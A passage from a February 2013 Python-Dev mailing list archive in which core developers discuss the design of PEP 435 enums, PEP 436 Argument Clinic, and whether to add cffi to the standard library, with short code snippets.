 435 (enum). The name is not important at the moment, as
In-Reply-To: <512D449D.90504@canterbury.ac.nz>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us> <kgii2p$4uv$1@ger.gmane.org>
	<CAN8CLg=G2Z0_O22gBCNvTqQ2xj=nXT3WDuh5zRRkTfk=w9LmNg@mail.gmail.com>
	<512D2F6D.7020402@stoneleaf.us> <512D449D.90504@canterbury.ac.nz>
Message-ID: <512D4784.2070307@stoneleaf.us>

On 02/26/2013 03:26 PM, Greg Ewing wrote:
> Ethan Furman wrote:
>> In the first three examples the data in quotes is the doc string; in examples
>> 4 and 5 the RHS is the actual value assigned.
>
> What if you want to assign both values and docstrings?

Let the bike shedding begin, eh?  ;)

It could be as simple as

    name = (0, 'customers full legal name')

or as complex as

     name = enum(value=0, doc="customer's full legal name", xyz='some other attribute')

--
~Ethan~

From glyph at twistedmatrix.com  Wed Feb 27 02:10:17 2013
From: glyph at twistedmatrix.com (Glyph)
Date: Tue, 26 Feb 2013 17:10:17 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
	435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda-BgdFYKamsEwHQ5RC4tBEkJegMRG22piAwuYrjUdiagA@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us>
	<20130225130502.3d55e8b6@anarchist.wooz.org>
	<512BAC7C.3060003@stoneleaf.us>
	<20130225153247.005e54a2@anarchist.wooz.org>
	<9A698345-D299-42FC-83B3-DABC5DAA9C25@twistedmatrix.com>
	<CAF-Rda-BgdFYKamsEwHQ5RC4tBEkJegMRG22piAwuYrjUdiagA@mail.gmail.com>
Message-ID: <A6AE301C-53F6-429F-AEB6-582561254AB7@twistedmatrix.com>

On Feb 26, 2013, at 5:25 AM, Eli Bendersky <eliben at gmail.com> wrote:

> Glyph, thanks for the input. I mentioned Twisted because in its code I found a number of places with simple string enumerations used to represent state. I was not aware of twisted.python.constants, but it doesn't appear that this module is used  at least in the places I checked.

Quite so.  twisted.python.constants was created because we made the same observation that you did.  Hopefully, more of these protocols will be transitioned to make use of twisted.python.constants internally.

> In general, many protocols have some "state" instance var that's usually just a string, using either predefined constants or direct string literals.

Indeed.  This idiom varies considerably.  Another thing that Twisted needs is a mechanism for explicitly building state-machine, but that's a discussion for another day.

-glyph


From tjreedy at udel.edu  Wed Feb 27 02:39:08 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 26 Feb 2013 20:39:08 -0500
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
Message-ID: <kgjo41$22f$1@ger.gmane.org>

On 2/26/2013 10:13 AM, Maciej Fijalkowski wrote:

> I would like to discuss on the language summit a potential inclusion
> of cffi[1] into stdlib.

How does it compare in terms of speed. One reason ctypes has not 
replaces hand-tuned swig is that it apparently is much slower. I know 
that someone, for instance, once did a pygame fork using ctypes to wrap 
SDL, and got it to run, but gave it up for comparative slowness reasons.

-- 
Terry Jan Reedy


From tjreedy at udel.edu  Wed Feb 27 03:30:36 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 26 Feb 2013 21:30:36 -0500
Subject: [Python-Dev] Announcing PEP 436: The Argument Clinic DSL
In-Reply-To: <512D0342.2060603@hastings.org>
References: <512BFDAB.5050103@hastings.org> <kgimr1$q5k$1@ger.gmane.org>
	<512D0342.2060603@hastings.org>
Message-ID: <kgjr4i$qkn$1@ger.gmane.org>

On 2/26/2013 1:47 PM, Larry Hastings wrote:
> On 02/26/2013 08:11 AM, Terry Reedy wrote:
>> The PEP gives an internal, developer-focused rationale. I think there
>> is also an external, user-focused rationale. As much as possible (with
>> obvious caveats about type introspection), I think it should be
>> transparent to users (other than speed) whether a function is
>> implemented in Python or C. People who love keyword calling currently
>> have to learn which module by module and function by function.
>> Tranparency will become even more important as more modules are dual
>> coded, and as users move code between implementations. I presume some
>> of the complexities of PyArg_ParseTupleAndKeywords arise from pursuing
>> this goal. And if I understand correctly, this PEP should reduce some
>> of the complexities. The 'future goal' of C function signature info
>> will further aid transparency.
>>
>> This user rationale suggests that positional-only functions should be
>> discouraged.
>
> I think positional-only functions should be discouraged, but we don't

If I were writing something like Clinic, I would be tempted to not have 
that option. But I was actually thinking about something in the 
positional-only writeup that mentioned the possibility of adding 
something to the positional-only option.

> really need Clinic to do that.  I suppose we don't need Clinic to
> support signatures for built-in functions either, though Clinic would be
> a much bigger help in that department.
>
> So, here's my interpretation of the above suggestion: one user-focused
> rationale for Clinic is that it'll make it easier for developers to
> write built-ins that behave identically to functions written in Python,
> and this benefits users.  Do you agree with that?

yes, especially with signatures.
>
>> It also suggests another future goal: a clinic backend that would
>> instead output a skeleton python file with def header lines and
>> docstrings, leaving the bodies to be filled in.
>
> Well, right now Clinic has no visibility into variables, just
> functions.  So such a skeleton python file would be a bit incomplete.

Module variables are option few enough to copy by hand. Methods are more 
of a problem. As I understand it, C module files are structured 
something like the following, which is 'unusual' for a python file.

def meth1_impl(...

def meth2_impl(...

class C:
   meth1 = meth1_impl
   meth2 = meth2_impl

So producing an idiomatic skeleton would require more that an alternate 
backend. Rather function entries should be stored and not output until 
the structure (class) definition is encountered. Two passes would be a 
lot easier than one.

> That's mildly interesting to consider, though--telling Clinic about
> module variables, that is.  Another possible use of Clinic is to do
> conformance testing for alternative implementations, that is, having
> PyPy (for example) make sure that they got their reimplemented standard
> library API correct.
>
>
> //arry/
>
>


-- 
Terry Jan Reedy


From stephen at xemacs.org  Wed Feb 27 04:16:52 2013
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Wed, 27 Feb 2013 12:16:52 +0900
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512CDCDC.2090509@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
	<87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512CDCDC.2090509@stoneleaf.us>
Message-ID: <87k3pu30pn.fsf@uwakimon.sk.tsukuba.ac.jp>

Ethan Furman writes:

 > Ah, okay.  Although, going with the first definition -- "ascertain
 > the number of" -- I still maintain that the number is equally
 > important, otherwise it could be a simple set.

Of course "number" is central to counting -- but you can count a set
of objects that have no numerical value.  You can also count objects
with numerical values that cannot be a count for that set: fractions,
negative integers, etc.  There's no necessary connection between the
integers used for counting, and those that are values of the things
counted.

 > But for my use, which is mainly as list indices, all I have to do
 > is list the names in the correct order -- so I do care what value
 > they have, and they can be assigned automatically.

OK, that sounds like a valid use case to me.  I don't mean to
deprecate it, I just don't understand it because I'd never do that
myself -- in all the cases where I care about the names and there's a
variable order, the names are in the data.  Eg, a CSV file with a
header row.  So I read them and need to create an inverse mapping.
And in general, I need a string->index mapping for UI.  So using an
enum so I can hard-code column names doesn't help me much -- I'm doing
a lot of string manipulation anyway.

Worse for me, most of the applications I have, I'd like the enumerator
identifiers to be both string-valued and int-valued: the int used to
index into Python sequences, and the string used in formatting SQL.

 > Every time I do arithmetic with True/False I have to think about
 > what's going on; I see no difference between that and doing
 > arithmetic with Color.red.

The pedagogical problem is that in a Likert scale "have to think"
is a prescriptive requirement that students and even experienced
researchers ignore all the time.  They easily think of "hate" and
"like" as the numbers 1 and 4, and they want to take averages across
people.  But that doesn't make sense if you examine behavior
carefully: even though everybody agrees on order, the size of the
steps and origin are different for different people.

So I want to make it a logical constraint enforced by Enum, to be
relaxed only if the user signs a no-damages release.  I don't have an
objection to making that easy by providing derived Enum types that
have int or string values, or to a subclass of ordered Enums.  Just
that the base Enum type should be a collection of Python identifiers
that you can't do much with except compare for identity, and
operations would be added only with some kind of explicit indication
like IntEnum, OrderedEnum, etc.


From stephen at xemacs.org  Wed Feb 27 04:33:35 2013
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Wed, 27 Feb 2013 12:33:35 +0900
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130226201757.535abe3e@pitrou.net>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
	<87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512CDCDC.2090509@stoneleaf.us>
	<20130226201757.535abe3e@pitrou.net>
Message-ID: <87ip5e2zxs.fsf@uwakimon.sk.tsukuba.ac.jp>

Antoine Pitrou writes:
 > On Tue, 26 Feb 2013 08:03:40 -0800
 > Ethan Furman <ethan at stoneleaf.us> wrote:
 > > I'm beginning to see why enums as a class has not yet been added
 > > to Python.  We don't want to complicate the language with too
 > > many choices, yet there is no One Obvious Enum to fit the wide
 > > variety of use-cases:
 > > 
 > >    - named int enums  (http status codes)
 > >    - named str enums  (tkinter options)
 > >    - named bitmask enums  (file-type options)
 > >    - named valueless enums  (any random set of names)
 > >    - named valueless-yet-orderable enums  (any not-so-random set of names ;)

I don't see what the problem is with having a very restricted base
Enum class and providing a number of convenience subclasses.

 > I don't think valueless enums have a point. Just make them str enums.

I suppose Ethan doesn't mean "no value at all", he means "no operations
available on the value" (ie, you need to explicitly convert from the
enumerator to an int or str to add or compare them).  str enums won't
satisfy that requirement.  They are implicitly orderable and addable.
Furthermore, the str order is probably quite wrong.  If the enum is
orderable, I would expect declaration order.

As far as I can see, what you (Antoine) want is an identifier with a
constant value, no more and no less.  Grouping into an enum is merely
a lexical convention, since you are happy to compare enums of
different enum classes and enums with ints.

I think such a thing is pretty generally desirable, but most of the
people who have created Enum classes implement some type-checking that
this value came from that Enum.  To me that is what differentiates an
enumerated constant from a generic named constant.  I don't see why
you keep deprecating that feature.  Do you really think it's useless,
or is it just that you wouldn't use it yourself?

From eliben at gmail.com  Wed Feb 27 05:53:33 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Tue, 26 Feb 2013 20:53:33 -0800
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
Message-ID: <CAF-Rda8krMYuaV-5VDezW5ZiL_O-jEOB1Db9txAQF1XSpDNzpA@mail.gmail.com>

* Work either at the level of the ABI (Application Binary Interface)

> or the API (Application Programming Interface). Usually, C libraries
> have a specified C API but often not an ABI (e.g. they may document a
> ?struct? as having at least these fields, but maybe more). (ctypes
> works at the ABI level, whereas Cython and native C extensions work at
> the API level.)
>


I read the cffi docs once again and went through some of the examples. I
want to divide this to two topics.

One is what you call the "ABI" level. IMHO, it's hands down superior to
ctypes. Your readdir demo demonstrates this very nicely. I would definitely
want to see this in the stdlib as an alternative way to interface to C
shared objects & DLLs.

Two is what you call the "API" level, which is where my opinion becomes
mixed. Some things just don't feel right to me:

1. Tying in a C compiler into the flow of a program. I'm not sure whether
we have precedents for it in the stdlib. Does this work on Windows where
libraries and DLLs are usually built with MSVC?

2. Using a function called "verify" to create stuff. This may sound like a
naming bikeshed, but it's not. It ties in to the question - why is this
needed?

3. The partial type specifications in C with ellipsis. What is the point?
You have the C declarations somewhere anyhow, so why introduce this? The
"ABI level" boasts having just C and Python to write, but those partial
ellipsis-ridden declarations are hardly C.

Please see this as constructive criticism, and I fully admit that I may not
have went deep enough to see the big benefits of the "API" level that would
justify all that complexity.

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/ea49d43f/attachment.html>

From greg.ewing at canterbury.ac.nz  Wed Feb 27 05:55:09 2013
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Wed, 27 Feb 2013 17:55:09 +1300
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <87k3pu30pn.fsf@uwakimon.sk.tsukuba.ac.jp>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
	<87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512CDCDC.2090509@stoneleaf.us>
	<87k3pu30pn.fsf@uwakimon.sk.tsukuba.ac.jp>
Message-ID: <512D91AD.5090501@canterbury.ac.nz>

Stephen J. Turnbull wrote:
> Worse for me, most of the applications I have, I'd like the enumerator
> identifiers to be both string-valued and int-valued: the int used to
> index into Python sequences, and the string used in formatting SQL.

Is the string value required the same as the name used in
Python code? If so, this requirement would be met by having
__index__ return the int value and __str__ return the
unqualified name.

-- 
Greg


From stephen at xemacs.org  Wed Feb 27 06:49:11 2013
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Wed, 27 Feb 2013 14:49:11 +0900
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512D91AD.5090501@canterbury.ac.nz>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
	<87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512CDCDC.2090509@stoneleaf.us>
	<87k3pu30pn.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512D91AD.5090501@canterbury.ac.nz>
Message-ID: <87d2vm2tns.fsf@uwakimon.sk.tsukuba.ac.jp>

Greg Ewing writes:
 > Stephen J. Turnbull wrote:
 > > Worse for me, most of the applications I have, I'd like the enumerator
 > > identifiers to be both string-valued and int-valued: the int used to
 > > index into Python sequences, and the string used in formatting SQL.
 > 
 > Is the string value required the same as the name used in
 > Python code? If so, this requirement would be met by having
 > __index__ return the int value and __str__ return the
 > unqualified name.

Ah, that's right (and Ethan already mentioned using __index__).  Yes,
I think that should work for me.  Very cool!

... If I had a use for it.  But I'm mostly trying to understand
Ethan's use case; I can't recall having a case where I would be
hard-coding an index by name.  In my typical use, I might have several
data set with columns CITY, INCOME, NUMBER_OF_CARS, ... and need to
compute various correlations based on user-specified models.  Then my
list of indicies for internal use is just

    [column_index[name] for name in user_provided_name_list]

and the inverse (for formatting output) is

    [column_name[index] for index in internal_indicies] .

The column_index and column_name dicts are computed when reading the
data set (typically from column headers in a CSV file).

Then I said to myself, "instead of using 'internal_indicies', let me
hard-code enum constants for indicies -- what would that look like?"
and that's where my requirement came from.

If I am guessing Ethan's use case correctly, the computations are very
specific to the columns involved (eg, he can't use a generic function
like "correlation" for arbitrary pairs of columns).  Then he does
these idiosyncratic computations for various data sets.

Are such applications common?  Evidently, they're bread and butter for
Ethan, but anybody else?





From ronaldoussoren at mac.com  Wed Feb 27 08:29:47 2013
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Wed, 27 Feb 2013 08:29:47 +0100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
Message-ID: <78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>


On 26 Feb, 2013, at 16:13, Maciej Fijalkowski <fijall at gmail.com> wrote:

> Hello.
> 
> I would like to discuss on the language summit a potential inclusion
> of cffi[1] into stdlib. 

The API in general looks nice, but I do have some concens w.r.t. including cffi in the stdlib.

1. Why is cffi completely separate from ctypes, instead of layered on top of it? That is, add a utility module to ctypes that can parse C declarations and generate the right ctypes definitions. 

2. Cffi has a dependencies on pycparser and that module and its dependencies would therefore also be added to the stdlib (even if they'd be hidden in the cffi package)

3. Cffi basicly contains a (limited) C parser, and those are notoriously hard to get exactly right. Luckily cffi only needs to interpret declarations and not the full language, but even so this can be a risk of subtle bugs.

4. And finally a technical concern: how well does cffi work with fat binaries on OSX? In particular, will the distutils support generate cached data for all architectures supported by a fat binary?

Also, after playing around with it for 5 minutes I don't quite understand how to use it. Let's say I want to wrap a function "CGPoint CGPointMake(CGFloat x, CGFloat y)". Is is possible to avoid mentioning the exact typedef for CGFloat somewhere? I tried using:

   ffi.cdef("typedef ... CGFloat; typedef struct { CGFloat x; CGFloat y; } CGPoint; CGPoint CGPointMake(CGFloat x, CGFloat y);")

But that results in an error when calling verify:

   TypeError: field 'struct $CGPoint.x' has ctype 'struct $CGFloat' of unknown size

From a first glance this doesn't seem to buy me that much w.r.t. ctypes, I still have to declare the actual type of CGFloat which is documented as "some floating point type".

Ronald

From fijall at gmail.com  Wed Feb 27 09:48:34 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 27 Feb 2013 10:48:34 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <kgjo41$22f$1@ger.gmane.org>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<kgjo41$22f$1@ger.gmane.org>
Message-ID: <CAK5idxQTj4Y_V6wD5sDfU0=YY9rTttzxicyi0mvB4_taC42eJw@mail.gmail.com>

On Wed, Feb 27, 2013 at 3:39 AM, Terry Reedy <tjreedy at udel.edu> wrote:
> On 2/26/2013 10:13 AM, Maciej Fijalkowski wrote:
>
>> I would like to discuss on the language summit a potential inclusion
>> of cffi[1] into stdlib.
>
>
> How does it compare in terms of speed. One reason ctypes has not replaces
> hand-tuned swig is that it apparently is much slower. I know that someone,
> for instance, once did a pygame fork using ctypes to wrap SDL, and got it to
> run, but gave it up for comparative slowness reasons.

I never did the comparison with hand-tuned swig. It's faster than
ctypes for calls and manipulation, C extension beat it to some degree.
It's uber fast on PyPy (a bit over the native call, but we'll get it
to the native call level).

From fijall at gmail.com  Wed Feb 27 10:00:10 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 27 Feb 2013 11:00:10 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAF-Rda8krMYuaV-5VDezW5ZiL_O-jEOB1Db9txAQF1XSpDNzpA@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CAF-Rda8krMYuaV-5VDezW5ZiL_O-jEOB1Db9txAQF1XSpDNzpA@mail.gmail.com>
Message-ID: <CAK5idxRefe+0S45d6es6uQj8JX_5z0YGdrFWxXQT7hqoE7YthQ@mail.gmail.com>

On Wed, Feb 27, 2013 at 6:53 AM, Eli Bendersky <eliben at gmail.com> wrote:
>
> * Work either at the level of the ABI (Application Binary Interface)
>>
>> or the API (Application Programming Interface). Usually, C libraries
>> have a specified C API but often not an ABI (e.g. they may document a
>> ?struct? as having at least these fields, but maybe more). (ctypes
>> works at the ABI level, whereas Cython and native C extensions work at
>> the API level.)
>
>
>
> I read the cffi docs once again and went through some of the examples. I
> want to divide this to two topics.
>
> One is what you call the "ABI" level. IMHO, it's hands down superior to
> ctypes. Your readdir demo demonstrates this very nicely. I would definitely
> want to see this in the stdlib as an alternative way to interface to C
> shared objects & DLLs.
>
> Two is what you call the "API" level, which is where my opinion becomes
> mixed. Some things just don't feel right to me:
>
> 1. Tying in a C compiler into the flow of a program. I'm not sure whether we
> have precedents for it in the stdlib. Does this work on Windows where
> libraries and DLLs are usually built with MSVC?
>

Yes. Precedent in the stdlib is really the C API. All the same rules
apply (including build and ship a dll).

> 2. Using a function called "verify" to create stuff. This may sound like a
> naming bikeshed, but it's not. It ties in to the question - why is this
> needed?

We welcome a better opinion of name (indeed verify is not that great).
This elevates ABI to API so either invokes the C compiler or reads
stuff from the cache.

>
> 3. The partial type specifications in C with ellipsis. What is the point?
> You have the C declarations somewhere anyhow, so why introduce this? The
> "ABI level" boasts having just C and Python to write, but those partial
> ellipsis-ridden declarations are hardly C.

No, you don't. Some libraries contain macros for example (like
OpenSSL) where you just can't use ABI because it makes no sense. It's
less common on windows where binary compatibility is important,
however looking on linux, multiple stdlib declaration would use
ellipsis in the man page. I can't seem to find one right now, but it's
something like:

struct X {
   int public_field;
   ...
}

which is impossible to do correctly with ctypes without exposing some
sort of platform dependency that might change without warning.

Another usages are #define SQLITE_OK ... which you don't know at the
time of writing (people assume those won't change and the do change).

>
> Please see this as constructive criticism, and I fully admit that I may not
> have went deep enough to see the big benefits of the "API" level that would
> justify all that complexity.

Sure. It might sound strange, but on linux (or posix in general)
binary compatibility is not a thing, so you need to do stuff to
account for that.

From fijall at gmail.com  Wed Feb 27 10:06:07 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 27 Feb 2013 11:06:07 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
Message-ID: <CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>

On Wed, Feb 27, 2013 at 9:29 AM, Ronald Oussoren <ronaldoussoren at mac.com> wrote:
>
> On 26 Feb, 2013, at 16:13, Maciej Fijalkowski <fijall at gmail.com> wrote:
>
>> Hello.
>>
>> I would like to discuss on the language summit a potential inclusion
>> of cffi[1] into stdlib.
>
> The API in general looks nice, but I do have some concens w.r.t. including cffi in the stdlib.
>
> 1. Why is cffi completely separate from ctypes, instead of layered on top of it? That is, add a utility module to ctypes that can parse C declarations and generate the right ctypes definitions.

Because ctypes API is a mess and magic. We needed a cleaner (and much
smaller) model.

>
> 2. Cffi has a dependencies on pycparser and that module and its dependencies would therefore also be added to the stdlib (even if they'd be hidden in the cffi package)

Yes. pycparser and ply.

>
> 3. Cffi basicly contains a (limited) C parser, and those are notoriously hard to get exactly right. Luckily cffi only needs to interpret declarations and not the full language, but even so this can be a risk of subtle bugs.

It seems to work.

>
> 4. And finally a technical concern: how well does cffi work with fat binaries on OSX? In particular, will the distutils support generate cached data for all architectures supported by a fat binary?

no idea.

>
> Also, after playing around with it for 5 minutes I don't quite understand how to use it. Let's say I want to wrap a function "CGPoint CGPointMake(CGFloat x, CGFloat y)". Is is possible to avoid mentioning the exact typedef for CGFloat somewhere? I tried using:
>
>    ffi.cdef("typedef ... CGFloat; typedef struct { CGFloat x; CGFloat y; } CGPoint; CGPoint CGPointMake(CGFloat x, CGFloat y);")
>
> But that results in an error when calling verify:
>
>    TypeError: field 'struct $CGPoint.x' has ctype 'struct $CGFloat' of unknown size
>
> From a first glance this doesn't seem to buy me that much w.r.t. ctypes, I still have to declare the actual type of CGFloat which is documented as "some floating point type".
>
> Ronald

typedef ... is assumed to be a struct. Copy pasting from
documentation, we might want to have a better support for that, but
what you do right now is to do:

ffi.cdef("const int mysize;")
lib = ffi.verify("const int mysize = sizeof(THE_TYPE);")
print lib.mysize

which will tell you the size (and then you can pick up which float you
want). I agree that some generic support for that would be cool.

Cheers,
fijal

From ronaldoussoren at mac.com  Wed Feb 27 10:18:02 2013
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Wed, 27 Feb 2013 10:18:02 +0100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
Message-ID: <5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>


On 27 Feb, 2013, at 10:06, Maciej Fijalkowski <fijall at gmail.com> wrote:

> On Wed, Feb 27, 2013 at 9:29 AM, Ronald Oussoren <ronaldoussoren at mac.com> wrote:
>> 
>> On 26 Feb, 2013, at 16:13, Maciej Fijalkowski <fijall at gmail.com> wrote:
>> 
>>> Hello.
>>> 
>>> I would like to discuss on the language summit a potential inclusion
>>> of cffi[1] into stdlib.
>> 
>> The API in general looks nice, but I do have some concens w.r.t. including cffi in the stdlib.
>> 
>> 1. Why is cffi completely separate from ctypes, instead of layered on top of it? That is, add a utility module to ctypes that can parse C declarations and generate the right ctypes definitions.
> 
> Because ctypes API is a mess and magic. We needed a cleaner (and much
> smaller) model.

The major advantages of starting over is probably that you can hide the complexity and that opens opportunities for optimizations. That said, I'm not convinced that ctypes is unnecessarily complex.
> 
>> 
>> 2. Cffi has a dependencies on pycparser and that module and its dependencies would therefore also be added to the stdlib (even if they'd be hidden in the cffi package)
> 
> Yes. pycparser and ply.

Which aren't part of the stdlib right now.

> 
>> 
>> 3. Cffi basicly contains a (limited) C parser, and those are notoriously hard to get exactly right. Luckily cffi only needs to interpret declarations and not the full language, but even so this can be a risk of subtle bugs.
> 
> It seems to work.

That's not a confidency inspiring comment :-).  That said,  I use a hacked up fork of pycparser to parse Apple's Cocoa headers for PyObjC and it appears to work fine for that.

> 
>> 
>> 4. And finally a technical concern: how well does cffi work with fat binaries on OSX? In particular, will the distutils support generate cached data for all architectures supported by a fat binary?
> 
> no idea.

That's somehting that will have to be resolved before cffi can be included in the stdlib, fat binaries are supported by CPython and are used the binary installers.

Ronald

From fijall at gmail.com  Wed Feb 27 10:21:31 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 27 Feb 2013 11:21:31 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
Message-ID: <CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>

On Wed, Feb 27, 2013 at 11:18 AM, Ronald Oussoren
<ronaldoussoren at mac.com> wrote:
>
> On 27 Feb, 2013, at 10:06, Maciej Fijalkowski <fijall at gmail.com> wrote:
>
>> On Wed, Feb 27, 2013 at 9:29 AM, Ronald Oussoren <ronaldoussoren at mac.com> wrote:
>>>
>>> On 26 Feb, 2013, at 16:13, Maciej Fijalkowski <fijall at gmail.com> wrote:
>>>
>>>> Hello.
>>>>
